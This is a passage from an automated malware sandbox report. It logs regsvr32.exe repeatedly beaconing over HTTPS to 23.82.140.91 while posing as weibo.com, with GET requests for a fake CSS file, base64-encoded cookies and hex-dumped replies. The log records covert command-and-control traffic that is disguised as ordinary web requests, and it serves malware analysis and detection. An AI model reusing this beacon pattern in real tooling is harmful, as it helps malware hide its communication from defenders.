
Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 192.168.2.6 49984 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:50 UTC 1350 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:50 UTC 1350 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:50 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:50 UTC 1350 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

135 192.168.2.6 49985 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:51 UTC 1352 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:52 UTC 1353 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:51 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:52 UTC 1353 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

136 192.168.2.6 49986 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:52 UTC 1355 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:52 UTC 1355 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:52 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:52 UTC 1355 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

137 192.168.2.6 49987 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:54 UTC 1357 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:55 UTC 1358 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:55 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:55 UTC 1358 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

138 192.168.2.6 49988 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:55 UTC 1360 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:55 UTC 1360 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:55 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:55 UTC 1360 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

139 192.168.2.6 49989 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:56 UTC 1362 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:56 UTC 1363 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:56 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:56 UTC 1363 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.6 49775 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:24 UTC 1049 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:24 UTC 1049 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:24 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 84 of 191



2022-02-08 23:07:24 UTC 1050 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

140 192.168.2.6 49990 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:57 UTC 1365 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:57 UTC 1365 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:57 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:57 UTC 1365 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

141 192.168.2.6 49991 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:59 UTC 1367 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:59 UTC 1368 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:59 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:59 UTC 1368 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

142 192.168.2.6 49992 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:01 UTC 1370 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:01 UTC 1371 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:01 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:01 UTC 1371 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
